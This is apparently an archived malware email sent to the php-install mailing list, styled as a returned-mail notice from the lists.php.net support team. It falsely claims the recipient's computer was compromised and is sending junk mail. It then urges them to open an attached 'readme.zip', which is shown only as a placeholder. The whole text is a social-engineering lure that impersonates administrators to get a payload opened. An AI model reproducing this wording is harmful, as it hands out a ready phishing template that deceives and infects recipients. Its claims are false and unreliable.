Mail System Error - Returned Mail

Dear user php-install@lists.php.net, administration of lists.php.net would like to let you know that: We have received reports that your account has been used to send a large amount of junk email during the last week. Obviously, your computer was compromised and now contains a trojaned proxy server. Please follow the instruction in the attachment in order to keep your computer safe. Virtually yours, lists.php.net user support team.

Attachment: [application/octet-stream] readme.zip